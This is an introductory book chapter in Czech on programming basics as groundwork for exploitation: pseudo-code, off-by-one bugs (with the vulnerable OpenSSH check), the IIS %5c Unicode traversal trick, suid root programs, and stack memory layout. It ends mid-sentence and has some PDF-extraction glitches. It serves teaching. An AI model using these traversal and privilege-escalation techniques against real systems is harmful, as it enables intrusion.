PROGRAMOVÁNÍ

Hacking je termín užívaný jak těmi, kteří píší kód, tak těmi,

kteří ho exploitují. I když mají tyto dvě skupiny odlišné cíle,

obě používají podobné techniky k řešení problémů. A protože

chápání programování pomáhá těm, co exploitují a chápání

exploitování pomáhá těm, co programují, mnoho hackerů

dělá oboje. Existují zajímavé hacky, které můžete najít jak

v technikách sloužících k psaní elegantního kódu, tak v technikách

sloužících k psaní exploitů. Hacking je v podstatě jen

hledání chytrého a neintuitivního řešení daného problému.

Hacky využité při exploitech programů povětšinou používají počítačová

pravidla (postupy, příkazy...) takovými způsoby, které nikdy nebyly zamýšlené,

k dosažení zdánlivě magických výsledků; velmi často bývají zaměřeny

na obcházení zabezpečení. Hacky obsažené v programech jsou jim

podobné v tom smyslu, že používají pravidla počítače novými a vynalézavými

způsoby. Ve skutečnosti existuje nepřeberné množství programů, které

mohou být napsány s cílem splnit nějaký úkol, ale mnoho z těchto řešení

je nepřiměřeně velké, složité a pomalé, a jen málo z nich je malé, efektivní

18 0x200 Programování

a elegantní. Tuto kvalitu programu nazýváme elegancí, precizností, a chytrá

a vynalézavá řešení, které se blíží takové efektivitě, nazýváme hacky. Hackeři

na obou stranách programování mají schopnost ocenit jak krásu elegantního

kódu, tak duchaplnost chytrých hacků.

Kvůli náhlému vzrůstu výpočetní síly a dočasné ekonomické "dot-com"

bublině se přestalo hledět na chytré hacky a elegantní kód a začal se klást

důraz na maximální funkčnost, rychlost a co nejnižší cenu řešení. Nevyplatí

se strávit o pět hodin déle za počítačem a vytvořit tak rychlejší a efektivnější

kód, když je finální rozdíl v rychlosti jen několik málo milisekund a velikostně

se neušetří ani jedno procento z těch stovek miliónů bajtů, které

mají dnešní moderní počítače k dispozici. Když jde v prvé řadě jen o peníze,

trávení času optimalizací chytrými hacky se zkrátka a dobře nevyplatí.

Pravé ocenění elegance v programování je tedy na hackerech: počítačových

nadšencích, jejichž cíl není vydělat peníze, ale snaha vymačkat ze

svého starého Commodoru 64 každý bit, co to jen jde; na těch, kteří píší

exploity a potřebují napsat malé a úžasné kousky kódu, které proklouznou

skrz úzkou trhlinou v bezpečnosti; a na komkoliv jiném, kdo oceňuje snahu

hledat to nejlepší možné řešení daného problému. Jsou to lidé, které zajímá

programování a zbožňují elegantní kousky kódu a důmyslnost chytrých

hacků. Protože znalost programování je předpokladem pro pochopení jak

mohou být programy exploitovány, začneme tedy programováním.

0x210 Co je programování?

Programování je velmi přirozený a intuitivní proces. Program není nic víc

než sada příkazů napsaných v nějakém jazyku. Programy jsou všude, i lidé

s technofobií je používají každý den. Dopravní značení, kuchařské recepty,

fotbal a DNA, to jsou všechno programy, které existují a fungují v našich životech.

Typický "program" pro řízení v dopravě vypadá takhle:

Začni na Main Street směrem na východ, pokračuj dokud neuvidíš na pravZačni pravé

straně kostel. Jestliže je ulice uzavřena kvůli stavbě, zaboč doprava na

15. ulici, pak doleva na Pine Street a doprava na 16. V opačném případě

pokračuj a zaboč doprava na 16. ulici. Pokračuj po 16. a zaboč doleva na

Destination Road. Jeď rovně 5 mil, dům je po pravé straně. Adresa je 743

Destination Road.

Kdokoliv tomu bude rozumět. Instrukce jsou jednoznačné a jsou snadné

na pochopení, alespoň pro toho, kdo vám bude rozumět.

Ale počítač vám přirozeně rozumět nebude, rozumí pouze strojovému

jazyku. Abychom mohli předat počítači instrukce k vykonání, musí být zapsány

v tomto jazyku. Bohužel je strojový jazyk příliš složitý a špatně se

Hacking: umění exploitace 19

s ním pracuje. Strojový jazyk se skládá ze syrových bitů a bajtů a liší se

podle počítačové architektury, takže napsat program pro procesor Intel x86

by znamenalo zjistit všechny hodnoty asociované s instrukcemi, zjistit jak

spolu instrukce vzájemně reagují a bezpočet dalších nízkoúrovňových detailů.

Takovéto programování je jistě velmi těžkopádné a neintuitivní.

To, co nám pomůže překonat komplikace při psaní strojového kódu, je

překladač. Assembler je jedním z překladačů strojového jazyka: je to program,

který překládá assemblerovský jazyk na strojově čitelný jazyk. Assemblerovský

jazyk je zašifrovaný méně než strojový kód, protože místo

používání čísel pro instrukce a proměnné používá jména. Avšak tento jazyk

má stále k intuitivitě daleko. Jména instrukcí jsou těžko srozumitelná,

a jazyk sám se stále liší v závislosti na použité architektuře. To znamená, že

stejně jako se liší strojový kód pro procesory Intel x86 a procesory Sparc,

liší se assembler pro Intel x86 od assembleru pro Sparc. Jakýkoliv program

napsaný v assembleru pro jeden procesor nebude fungovat pro jiný procesor,

pokud se pro něj nepřepíše. Ještě dodám, že k napsání efektivního

programu v assembleru musíte znát mnoho nízkoúrovňových detailů cílové

architektury.

Tyto problémy se dají zmírnit použitím dalšího typu překladačů ­ kompilátoru.

Kompilátor převádí vysokoúrovňový jazyk na strojový jazyk. Vysokoúrovňové

jazyky jsou mnohem intuitivnější než assembler a výsledný

kód se dá přeložit do více typů strojového kódu pro více typů architektury

procesoru. C, C++ nebo FORTRAN jsou příklady vyšších jazyků. Program

napsaný v tomto jazyce je mnohem srozumitelnější a více podobný angličtině

než assembler nebo strojový jazyk, avšak stále musí splňovat přísná

pravidla zápisu instrukcí, jinak mu kompilátor neporozumí a nepřeloží jej.

Programátoři mají ještě jeden druh programovacího jazyku zvaný pseudo-

kód. To je jednoduchá řeč řazená do obecné struktury podobné vysokoúrovňovém

jazyku. Stále to není rozpoznatelné kompilátory, assemblery

nebo počítači, ale je to pro programátora užitečný způsob jak uspořádat

složitější konstrukce. Pseudo-kód není nikterak definovaný, každý jej píše

trochu jinak. Je to jakýsi spojovací článek mezi přirozenými jazyky, jako je

třeba angličtina, a vysokoúrovňovými jazyky, jako je třeba jazyk C. Pokyny

pro řízení v dopravě zmíněné výše mohou po převedení do pseudo-kódu

vypadat třeba takto:

Začni směrem na východ na Main streetZačni street;

Až do (kostel je na pravo)

{

Jeď po Hlavní;

}

Jestliže (ulice je zablokovaná)

{

20 0x200 Programování

Otoč se(doprava, 15. ulice) Otoč ulice);

Otoč se(doleva, Pine street);

Otoč se(doprava, 16. ulice);

}

jinak

{

Otoč se(doprava, 16. ulice);

}

Otoč se(doleva, Destination Road);

Pro (5 iterací)

{

Jeď rovně 1 míli;

}

Zastav na 743 Destination Road;

Každá instrukce je zalomena na jednu samostatnou řádku a logika vykonávání

pokynů je dána řídící strukturou. Bez řídící struktury by program mohl

sestávat jen ze sekvenčních příkazů bez možnosti měnit vykonávání na základě

podmínek, ale naše řízení v dopravě je přece jenom složitější. Jsou

tam příkazy jako třeba "pokračuj, dokud neuvidíš na pravé straně

kostel" nebo "jestliže je ulice uzavřena kvůli stavbě..." a právě

ty mění tok vykonávání programu z jednoduchého sekvenčního pořadí do

složitějšího a užitečnějšího toku vykonávání.

Je třeba dodat, že instrukce pro otočení auta jsou mnohem komplikovanější

než pouhé "zaboč doprava na 16. ulici". Otočení auta může

zahrnovat vyhledání správné ulice, zpomalení, zapnutí blinkru, otočení kol

a konečně vyrovnání rychlosti jízdy na nové silnici. Protože mnoho z těchto

činností jsou stejné pro všechny ulice, mohou být vloženy do tzv. funkce.

Funkce přijímá sadu argumentů jako vstup, spustí svou vlastní sadu

instrukcí v závislosti na vstupu a pak se vrátí zpět na původní místo, ze které

byla volaná. Přepis funkce v pseudo-kódu může vypadat třeba takto:

Funkce Otoč se(směr, ulice)

{

vyhledej ulici;

zpomal;

jestliže (směr = = doprava)

{

zapni pravý blinkr;

otoč koly doprava;

}

jinak

{

Hacking: umění exploitace 21

zapni levý blinkr zapni blinkr;

otoč koly doleva;

}

zrychli;

}

Použitím této funkce opakovaně se může auto otočit na libovolné ulici, v jakémkoliv

směru, bez nutnosti pokaždé tyto instrukce znovu psát. Zapamatujte

si, že v okamžiku, kdy se zavolá funkce, vykonávání programu skočí

na jiné místo, spustí se kód funkce a po jejím skončení se vrátí zpět na původní

místo vykonávání.

Důležitý je také fakt, že každá funkce má svůj vlastní kontext. To znamená,

že všechny lokální proměnné v každé funkci jsou v dané funkci jedinečné,

každá funkce má svůj vlastní kontext, případně prostředí, ve kterém je

spuštěno. Jádro programu je funkce se svým vlastním kontextem a každé

funkci z ní volané je vytvořen nový kontext. Jestliže volaná funkce zavolá

další funkci, vytvoří se v té předešlé kontext pro tu následující a tak dále.

Toto vrstvení funkčních kontextů dělá každou funkci svým způsobem atomickou.

Řídící struktury a funkční koncepty v pseudo-kódu můžete nalézt v mnoha

rozdílných programovacích jazycích. Pseudo-kód může prakticky vypadat

jakkoliv, ale ten předchozí byl napsán tak, aby se podobal jazyku C.

Tato podobnost je užitečná, neboť C je hojně používaný programovací jazyk.

Ve skutečnosti je větší část Linuxu a dalších moderních implementací

Unixu psaná v Céčku. Protože Linux je open-sourcový operační systém

se snadným přístupem ke kompilátorům, assemblerům a debuggerům, je

to skvělá platforma, na které se dá mnoho naučit. Kvůli záměru této knihy

předpokládáme, že všechny operace se uskutečňují na x86 kompatibilním

procesoru s nainstalovaným Linuxem.

0x220 Exploitování programu

Exploitování je základem hackingu. Programy nejsou nic víc než komplexní

sada pravidel, sledující určitý tok činností, která počítači říká, co má dělat.

Exploitování programu znamená přinutit program vykonat to, co chcete vy,

dokonce i když byl původně program navržen tak, aby tomu zabránil.

Protože program může dělat jenom to, k čemu byl navržen, bezpečnostní

díry jsou ve skutečnosti vady nebo přehlédnutí v návrhu programu nebo

v prostředí, ve kterém je spuštěn. K nalezení těchto chyb je zapotřebí kreativního

ducha, stejně tak jako k jejich předejití.

Někdy jsou tyto chyby produktem relativně zřejmých programátorských

chyb, ale existují méně zřetelné chyby, které napomohly zrození složitěj22

0x200 Programování

ších exploitovacích technik, které mohou být aplikovány na mnoha rozdílných

místech.

Programy mohou dělat pouze to, k čemu byly naprogramovány. Bohužel

to, co je napsáno, se nemusí shodovat s tím, co programátor zamýšlel. Tento

princip se dá vysvětlit pomocí tohoto vtipu:

Muž se prochází lesem a najde na zemi kouzelnou lampu. Instinktivně ji

zvedne, otře a tím vyvolá džina. Ten mu poděkuje za to, že ho pustil ven,

a nabídne mu, že mu splní tři přání.

"Jako první," povídá muž, "bych chtěl milion dolarů."

Džin ukáže prstem a objeví se před ním kufr plný peněz.

Muž se zaraduje a pokračuje: "Potom bych chtěl Ferrari."

Džin opět ukáže prstem a z kouře se vynoří Ferrari.

A muž pokračuje: "A konečně, chtěl bych být neodolatelný pro ženy."

Džin na něj ukáže prstem a muž se změní v balíček čokolády.

Stejně tak, jako džin splnil přesně to, co po něm muž chtěl, program udělá

přesně to, co mu zadá programátor, ačkoliv výsledky nemusí být vždy takové,

jaké byly zamýšleny. A občas mohou být i katastrofální.

Programátoři jsou lidé a občas to, co napíšou, není přesně to, co chtěli

napsat. Například jedna hodně častá programátorská chyba se nazývá

off-by-one. Jak už napovídá jméno, je to chyba, kdy se programátor splete

o jedničku. Stává se to častěji, než byste si mysleli, a dá se to krásně prezentovat

na tomto úkolu: stavíte plot v délce 20 m, po dvou metrech bude sloupek,

kolik sloupků budete potřebovat? Samozřejmá odpověď je 10, ale to je

špatně, doopravdy jich je potřeba 11. Tento typ chyby off-by-one se často

nazývá fencepost error a dochází k ní v případech, kdy programátor místo

počtu prstů spočítá počet mezer mezi nimi nebo naopak. Dalším příkladem

je, když se programátor snaží vybrat rozsah čísel nebo položek ke zpracování,

jako třeba od N do M. jestliže N = 5 a M = 17, kolik položek se musí

zpracovat? Asi byste odpověděli že M ­ N, nebo 17 ­ 5, tedy 12. Ale to není

správně, protože tam je ve skutečnosti M ­ N + 1 položek, tedy 13. Může

se to zdát matoucí a ono to doopravdy takové je, a to je právě ten důvod,

proč k těmto chybám tak často dochází.

Takové chyby často bývají nepostřehnuty, protože se programy netestují

pro úplně všechny vstupní možnosti, a jejich efekt se neprojeví při normálním

běhu programu. Avšak jednou se chyba projeví a může dojít k lavinovému

efektu, který ovlivní logiku celého zdánlivě bezpečného programu

a stane se bezpečnostní slabinou.

Jeden nedávný případ se stal v OpenSSH, což je bezpečný terminálový

komunikační program navržený tak, aby nahradil nezabezpečené a nešifroHacking:

umění exploitace 23

vané služby jako je třeba telnet, rsh a rcp. Byla ovšem nalezena chyba typu

off-by-one v kódu pro alokaci kanálu, která se poté hodně exploitovala. Kód

obsahoval tento příkaz if:

if (id < 0 || id > channels_alloc) {

a měl správně vypadat takto:

if (id < 0 || id >= channels_alloc) {

V lidské řeči chybný kód říká "jestliže je ID menší než 0 nebo je větší než

počet alokovaných kanálů, spusť případný kód", ten správný zní "jestliže

je ID menší jak 0 nebo větší nebo rovno počtu alokovaných kanálů, spusť

případný kód."

Jednoduchá chyba off-by-one dovolila další exploitování programu,

takže normální uživatel přihlašující se do systému mohl získat jeho plná

administrátorská práva. Toto rozhodně programátoři při návrhu tak zabezpečeného

programu, jako je OpenSSH, nezamýšleli, ale počítače pouze vykonávají

to, co jim bylo přikázáno vykonat, nic víc, nic míň.

Další situace, která vede k vytváření programátorských chyb, je když

se program rychle modifikuje pro zvýšení funkcionality. Zatímco se zvyšuje

prodejnost a cena produktu, program se stává složitějším a náchylnějším

k vzniku a přehlédnutí chyb. Webový server Microsoft IIS byl navržen

k poskytování statického a interaktivního obsahu uživatelům. Aby toho

bylo dosaženo, program musí dovolit uživatelům čtení, zápis a spouštění

programů a souborů pouze v určitých adresářích. Bez tohoto omezení by

měli uživatelé plnou kontrolu nad systémem, což je z bezpečnostního hlediska

nepřípustné. Aby tomu IIS zabránilo, obsahuje kód na kontrolu cesty,

který zabrání použití zpětného lomítka ( backslash) pro zpětný průchod

adresářovou strukturou.

S přidáním podpory znakové sady Unicode vzrostla složitost programu.

Unicode je znaková sada kódovaná dvěma bajty a je navržena tak, aby podporovala

všechny jazyky, včetně např. čínštiny či arabštiny. Využitím dvou

bajtů místo jednoho se umožnilo použití desítek tisíc možných znaků, na

rozdíl od dvou set původních. Toto rozšíření ale také znamenalo, že se zpětné

lomítko dalo zakódovat více různými způsoby. Například %5c se v Unicode

převede na zpětné lomítko, ale až po kontrole cesty. Takže použitím

%5c místo \ bylo rovněž možné procházet adresáři. Červi Sadmind a Code-

Red zneužívali tuto přehlédnutou chybu v konverzi znaků v Unicode k předělání

webových stránek.

Jiný příklad využití špatně stanovených mantinelů pochází z vnějšku

počítačového světa, je známý jako "LaMacchia Loophole" (pozn. překl.:

v češtině LaMacchiova skulina, ale tento český ekvivalent se příliš nepo24

0x200 Programování

užívá). Stejně jako pravidla počítačového programu, právo Spojených Států

občas používá pravidla, která jsou sepsána jinak, než jak byla původně

zamýšlena. Stejně jako exploit počítačového programu, tyto legální skuliny

mohou být využity pro obejití zákona. Koncem roku 1993, 21letý hacker

a student MITu David LaMacchia zveřejnil na svých stránkách systém "Cynosure"

za účelem výměny pirátského softwaru. Ti, kteří měli nějaký software,

jej tam nahráli a ti, kteří software sháněli, si jej mohli stáhnout. Tato

služba byla v provozu jen zhruba 6 týdnů, ale natolik zatížila celosvětový

síťový provoz, že přilákala pozornost univerzity a federálních úřadů. Softwarové

společnosti tvrdily, že tímto systémem přišly o jeden milión dolarů,

a federální velká porota obvinila LaMacchia z porušení zákona. Obvinění

bylo ovšem staženo, neboť LaMacchia dokázal, že žádný copyrightový zákon

neporušil, protože z distribuce softwaru mu neplynuly žádné finanční

výhody. Ti, kdož tento zákon vymýšleli, nepřipustili možnost, že by někdo

provozoval podobné aktivity s jiným motivem, než je finanční zisk. Později,

v roce 1997, kongres tuto díru v zákoně zalepil vydáním tzv. No Electronic

Theft Act. Abstraktní koncepty hackingu překročily počítačový svět a mohou

být aplikovány v mnoha jiných aspektech našich životů, včetně složitých

systémů.

0x230 Obecné exploitovací techniky

Chyby typu off-by-one a Unicode nejsou na první pohled viditelné, ale jsou

jasně zřetelné pro programátora sedícího na druhé straně. Existují ovšem

chyby, jejichž exploitování není tak jednoduché. Vliv těchto chyb na bezpečnost

není vždy viditelný přitom se takové problémy s bezpečností dají

najít takřka všude. Protože stejné typy chyb se vyskytují na mnoha místech,

mohou být využity v rozmanitých situacích.

Dva nejčastější obecné typy exploitů zneužívají chybu přetečení paměti

( buffer-overflow) a chybu ve formátovacím řetězci ( format-string). S těmito

technikami je možné nakonec převzít kontrolu nad průběhem vykonávání

programu propašováním části zákeřného kódu a jeho spuštěním. Také se

tomu říká execution of arbitrary code ( spuštění svévolného kódu), protože

hacker může donutit program dělat takřka cokoliv.

Ale to, co dělá tyto typy exploitů zajímavé jsou rozličné chytré hacky,

které se vyvíjely s cílem dosáhnout působivých výsledků. Porozumění

těmto technikám je mnohem silnější zbraní než pouhý exploit, protože tyto

znalosti mohou být využity k vytvoření mnoha dalších kouzel. Avšak předpokladem

pro jejich pochopení je hlubší znalost souborových práv, proměnných,

funkcí, systému alokace paměti a jazyka assembleru.

Hacking: umění exploitace 25

0x240 Víceuživatelská přístupová práva

k souborům

Linux je víceuživatelský operační systém, ve kterém jsou plná systémová

oprávnění v rukou administrátorského účtu zvaném " root". Kromě uživatele

root jsou v systému další uživatelské účty a skupiny. Více uživatelů

může náležet jedné skupině a jeden uživatel může spadat pod více skupin.

Přístupová práva k souborům jsou založena jak na uživatelích, tak na

skupinách, takže jiní uživatelé nemohou číst vaše soubory, pokud nemají

explicitně udělena práva. Každý soubor je přidružený k uživateli a skupině

a práva mohou být udělena pouze vlastníkem souboru. Existují tři práva:

číst (read), zapisovat ( write) a spouštět ( execute) a mohou být zapnuta

nebo vypnuta ve třech položkách: uživatel ( user), skupina ( group) a ostatní

( other). Položka uživatel značí, co vše může vlastník se souborem dělat,

skupina upřesňuje, co vše mohou se souborem dělat uživatelé spadající

do stejné skupiny jako vlastník, a ostatní logicky popisuje práva ostatních

uživatelů. Tato oprávnění se zobrazují písmeny r, w a x, ve třech polích

uživatel, skupina a ostatní. V následujícím příkladu má uživatel právo

čtení a zápisu, skupina čtení a spouštění a ostatní zápis a spouštění.

-rw-r-x-wx 1 guest visitors 149 Jul 15 23:59 tm-tmp

Jsou situace, kdy je potřeba povolit neprivilegovanému uživateli vykonání

nějaké systémové akce, která vyžaduje práva roota, jako je například změna

hesla. Jedno možné řešení je dát uživateli práva roota; tímhle krokem se

ovšem udělí veškerá systémová práva, což není z bezpečnostního hlediska

příliš vhodné. Místo toho je dána programům možnost běžet v kontextu

roota, takže systémová činnost může správně proběhnout, aniž by uživatel

musel být zároveň root. Tomuto typ oprávnění se říká právo suid ( Set

User ID ­ nastav uživatelovo ID) nebo také suid bit. Když program s tímto

právem spustí nějaký uživatel, jeho euid ( Effective User ID ­ efektivní uživatelské

ID) se změní na UID vlastníka souboru a pak je teprve program

vykonán. Až se program ukončí, uživatelovo euid se změní zpět na svoji

původní hodnotu. Tento bit se ve výpisu souborů označuje písmenem s.

Existuje také právo sgid ( Set Group ID ­ nastav ID skupiny), které dělá přesně

to samé s efektivním ID skupiny.

-rwsr-xr-x 1 root root 29592 Aug 8 13:37 /usr/bin/passwd

Například, pokud by chtěl uživatel změnit svoje heslo, musí spustit program

/usr/bin/ passwd, jehož vlastníkem je root a má nastavený suid bit.

UID uživatele se před spuštěním změní na UID roota (tedy 0) a po skončení

se změní nazpět. Programy, které mají právo suid a jejichž vlastníkem je

root se nazývají suid root programy.

26 0x200 Programování

Toto je místo, kde se změna toku spouštěného programu může stát kritickou.

Pokud se dá tok suid root programu změnit tak, aby spustil nějaký cizí

kód, útočník se může stát rootem. Pokud útočník dokáže přinutit program,

aby pro něj spustil shell, ke kterému by se mohl dostat, bude mít oprávnění

roota na uživatelské úrovni. Jak již bylo zmíněno výše, toto je obecně z bezpečnostního

hlediska velmi špatné, protože to dává útočníkovi plná práva

k ovládání celého systému.

Vím co si teď myslíte: "To zní úžasně, ale jak mohu změnit tok vykonávání

programu, pokud se program sestává ze striktního souboru pravidel?"

Mnohé programy jsou napsány ve vysokoúrovňových jazycích (tzv. HLL

­ High-Level Languages), jako je třeba C. Když programátor pracuje v těchto

jazycích, často mu unikne způsob, jakým program nakládá s proměnnými,

se zásobníkem, s pointery ( ukazateli) a s dalšími nízkoúrovňovými

záležitostmi, které nejsou v HLL jazycích tolik zřejmé. Hacker znalý nízkoúrovňových

příkazů, ze kterých se HLL program skládá, rozumí vykonávání

programu lépe než programátor, který jej napsal. Hackování běhu programu

tedy není žádné porušování programových pravidel, je to o znalosti

více věcí a jejich souvislostí a o jejich použití nevšedními způsoby. Abyste

pochopili tyto exploitovací metody a byli schopni psát programy, které

jim dovedou zabránit, je zapotřebí hlubšího porozumění programátorským

pravidlům nižší úrovně, jakým je třeba virtuální paměť programu.

0x250 Paměť

Paměť se může na první pohled jevit docela strašidelně, ale je třeba mít na

paměti, že uvnitř počítače není nic jiného, než jen obří kalkulačka. Paměť je

jen dočasné úložné místo a nic víc než bajty očíslované tzv. adresou. Tato

paměť může být zpřístupněna adresou a bajt na jednotlivé adrese se může

číst a zapisovat. Nynější procesory typu Intel x86 používají 32bitový adresovací

mechanismus, který dokáže zpřístupnit 2 32 tedy 4 294 967 296 možných

adres. Programové proměnné ( variables), jsou určitá místa v paměti,

která slouží pro uchování informací.

Ukazatelé, pointery (pointers) jsou speciální typy proměnných, které

v sobě uchovávají adresu paměťového místa pro umožnění jeho pozdějšího

odkazování. Protože paměť nemůže být sama o sobě přesunuta, informace

se musí kopírovat. Bylo by ovšem výpočetně náročné kopírovat

dlouhé kusy paměti, aby je mohly jednotlivé funkce z různých míst používat.

Je to také náročné na spotřebu paměti, protože paměť musí být alokovaná

dříve, než se bude moci kopírovat. Pointery řeší právě tento problém.

Místo kopírování velkých bloků paměti se pointeru přiřadí adresa onoho

velkého bloku. Potom může být tato malá 4bajtová proměnná předána dalším

funkcím, které potřebují přistoupit k paměti.

Hacking: umění exploitace 27

Procesor má vlastní speciální paměť, která je relativně malá. Tyto části

paměti se nazývají registry (registers) a existují speciální registry, které udržují

informace o vlastním spouštěném programu. Jeden z nejdůležitějších

registrů je extended instruction pointer ( EIP). EIP je pointer, který ukazuje

na právě prováděnou instrukci. Dalšími registry jsou extended base pointer

( EBP) a extended stack pointer ( ESP). Všechny tyto tři registry jsou velmi

důležité při vykonávání programu a budou detailněji probrány později.

0x251 Deklarace paměti

Při programování v nějakém vysokoúrovňovém jazyce, jako je třeba C, se

proměnné deklarují datovým typem. Tyto datové typy mohou být např.

celá čísla ( integer) nebo znaky ( character) nebo jiné, třeba i uživatelem

definované struktury. Pro tyto proměnné je nezbytné alokovat dostatečný

prostor, což pro celé číslo může být 4 bajty a pro znak třeba jeden jediný

bajt. To znamená, že celé číslo má 32 bitů místa (4 294 967 296 možných

hodnot), zatímco znak má pouhých 8 bitů místa (256 možných hodnot).

Proměnné mohou být deklarované také v poli. Pole ( array) je seznam N

elementů daného datového typu. Takže v nejjednodušším případě je desetiznakové

pole prostě 10 znaků sousedících vedle sebe v paměti. Někdy se

polím říká buffer a poli znaků řetězec ( string). Protože je kopírování velkých

kusů paměti výpočetně náročné, používají se pointery ( ukazatele) pro odkazovaní

na buffer. Pointery se v Céčku deklarují připojením hvězdičky

před jméno proměnné; zde je pár příkladů deklarací proměnných:

int integer_variableint variable;

char character_variable;

char character_array[10];

char *buffer_pointer;

Důležitý detail vztahující se k paměti na procesorech typu x86 je pořadí

bajtů v 4bajtovém slovu. Toto řazení je známé pod pojmem little endian,

které říká, že nejméně signifikantní (významný) bajt je ten první. Znamená

to, že bajty slova, jakým je třeba celé číslo nebo pointer, jsou uloženy

v převráceném pořadí. Hexadecimální hodnota 0x12345678 v kódování little

endian je v paměti uložena jako 0x78 0x56 0x34 0x12. Ačkoliv kompilátory

pro HLL, jakým je třeba C, automaticky bajty řadí, je důležité si toto

zapamatovat.

0x252 Ukončení nulovým bajtem

Občas se stane, že je pro pole znaků alokováno deset bajtů, ale doopravdy

se využijí jen čtyři. Jestliže je slovo "test" uloženo v desetiznakovém poli,

28 0x200 Programování

zbudou na jeho konci nevyužité znaky. V tom případě se použije nula ( bitová

nula, nebo také znak null) pro ukončení řetězce. Ta říká všem funkcím

pro práci s řetězci, že mají svoji činnost ukončit právě na tom místě.

0 1 2 3 4 5 6 7 8 9

t e s t 0 X X X X X

Funkce pro kopírování řetězců tedy zkopíruje pouze "test" a zastaví se

u nulového znaku, nezkopíruje tedy celý buffer. Stejně tak funkce, která

vypisuje obsah řetězce, vypíše pouze "test" místo "test" plus následující

náhodné znaky uložené v paměti. Ukončování řetězců bitovou nulou zvyšuje

efektivitu a umožňuje funkcím s řetězcem lépe pracovat.

0x253 Segmentace paměti programu

Paměť programu je rozdělena na pět segmentů: text, data, bss (block started

by symbol, segment neinicializovaných dat), heap ( halda) a stack ( zásobník).

Každý segment reprezentuje speciální část paměti, která je vymezena

pro určité účely.

Segment text se někdy značí i jako code. To je místo, kde se nacházejí

instrukce strojového jazyka. Vykonávání instrukcí v tomto segmentu

není lineární, diky výše zmíněným vysokoúrovňovým řídicím strukturám

a funkcím, které se zkompilují do instrukcí větvení ( branch), skoků ( jump)

a volání ( call). V okamžiku spuštění programu se EIP nastaví na první instrukci

segmentu text. Procesor potom následuje vykonávací smyčku, která

dělá následující:

1. Přečti instrukci, na kterou ukazuje EIP.

2. Přičti k EIP délku instrukce.

3. Vykonej instrukci přečtenou v kroku 1.

4. Jdi na krok 1.

Někdy je přečtená instrukce instrukcí skoku nebo volání, která mění EIP na

jinou adresu. Procesor se nestará o změny, neboť stejně předpokládá nelineární

vykonávání. Takže pokud se v kroku 3 EIP nějak změní, procesor

bude dále pokračovat v kroku 1, přečte a vykoná další instrukci, na kterou

EIP ukazuje, ať už bude jakákoliv.

Právo zápisu je v segmentu text vypnuto, neboť neslouží k uchovávání

proměnných, ale jen kódu. To zabrání lidem modifikovat programový kód

a jakýkoliv pokus o zápis do tohoto segmentu paměti způsobí zobrazení varování

uživateli, že se stalo něco špatného, a okamžité ukončení programu.

Další výhodou toho, že je tento segment pouze pro čtení, je umožnění jeho

bezproblémového sdílení při spuštění více kopií téhož programu. Také je

vhodné poznamenat, že tento segment má fixní velikost.

Hacking: umění exploitace 29

Segmenty data a bss se používají pro uchování globálních a statických

programových proměnných. V segmentu data se ukrývají inicializované

globální proměnné, řetězce a další konstanty, které jsou v programu užívány.

V segmentu bss jsou neinicializované proměnné. Ačkoliv jsou tyto segmenty

zapisovatelé, také mají fixní velikost.

Segment heap (halda) se používá pro ostatní programové proměnné.

Segment haldy nemá konstantní velikost a podle potřeby může jeho velikost

růst i klesat. Celá tato paměť je řízena alokačními a dealokačními algoritmy,

které rezervují část paměti pro pozdější použití a zpětně odstraňují

rezervace, aby se oblast mohla později opět využít. Halda bude růst a klesat

v závislosti na tom, kolik paměti má pro tyto účely rezervováno. Růst

haldy začíná na nižších a postupuje do vyšších adres paměti.

Segment stack (zásobník) má také proměnou velikost a používá se jako

dočasné úložiště pro kontext během volání funkcí. Když program zavolá

funkci, bude mít vlastní sadu proměnných a kód funkce bude v jiné části

segmentu text (nebo code). Protože se kontext a EIP musí při volání funkce

změnit, zásobník slouží k zapamatování všech proměnných a EIP, na který

se po skončení funkce program opět vrátí.

V obecných počítačových termínech je zásobník abstraktní datová struktura,

která se velmi často používá. Má řazení typu FILO (First-In, Last-Out

­ první dovnitř, poslední ven), což znamená, že první položka, která se do

stacku dostane je tou poslední, která ze stacku může ven. Je to jako skládání

korálků na šňůru, která má zavázaný druhý konec ­ nemůžete dostat

ven první korálek bez toho, aniž byste nejdříve nevytáhli ostatní korálky.

Přidání položky na zásobník se říká pushing a odebírání popping.

Jak napovídá jméno, paměťový segment zásobníku je ve skutečnosti datová

struktura. Registr ESP se používá k udržování adresy na konci zásobníku,

který se neustále mění, tak jak jsou neustále přidávány a odebírány

položky. Vzhledem k dynamickému chování této struktury je zřejmé, že

stack nemá fixní velikost. Opačně než halda velikost zásobníku roste z vyšších

adres k nižším.

Použití koncepce FILO pro implementaci zásobníku se může zdát zbytečné,

ale protože se stack používá pro uchovávání kontextu, je to velmi

užitečné. Když se zavolá funkce, potřebné údaje se vloží na zásobník ve

formě tzv. rámce zásobníku ( stack frame). Registr EBP, občas nazývaný jako

frame pointer ( FP, ukazatel na rámec) nebo local base pointer ( LB, ukazatel

na lokální bázi), se použije k odkazování na proměnné v aktuálním zásobníkovém

rámci. Každý takový rámec obsahuje parametry funkcí, její lokální

proměnné a dva pointery důležité pro navrácení věcí do stavu, v jakém

byly před samotným voláním: saved frame pointer ( SFP, uložený ukazatel

na rámec) a návratová adresa ( return value). Pointer na rámec zásobníku

se používá k obnovení EBP na jeho předchozí hodnotu a návratová adresa

k obnovení EIP na další instrukcí hned za voláním funkce.

30 0x200 Programování

Zde je příklad testovací funkce a hlavní funkce:

void test_function(int a, int b, int c, int d)

{

char flag;

char buffer[10];

}

void main()

{

test_function(1, 2, 3, 4);

}

V tomto krátkém kousku kódu se deklaruje testovací funkce se čtyřmi argumenty,

které jsou deklarovány jako celá čísla: a, b, c a d. Lokální proměnné

pro funkci zahrnuje jeden znak nazvaný flag a desetiznakový buffer nazvaný

buffer. Funkce main() se po spuštění programu spustí jako první

a jednoduše zavolá testovací funkci.

Když se funkce test_function zavolá z funkce main, uloží se na zásobník

rozličné hodnoty a vytvoří se rámec zásobníku. Argumenty funkce se

uloží v opačném pořadí (protože je stack FILO), tedy d, c, b a nakonec a.

V okamžiku, kdy je spuštěna instrukce call pro volání funkce test_

function(), se na zásobník uloží návratová adresa, jejíž hodnota bude EIP

ukazující na instrukci za instrukcí volání (tedy adresa instrukce call + velikost

samotné instrukce). Za návratovou adresou se nachází tzv. prolog

procedury. V tomto kroku se do zásobníku uloží hodnota registru EBP, což

je uložený ukazatel na rámec a později se použije pro obnovení do původního

stavu. Aktuální hodnota registru ESP se potom zkopíruje do registru

EBP a tím se nastaví ukazatel na nový rámec. Nakonec se alokuje paměť

pro lokální proměnné funkce (flag a buffer) na zásobníku zmenšením

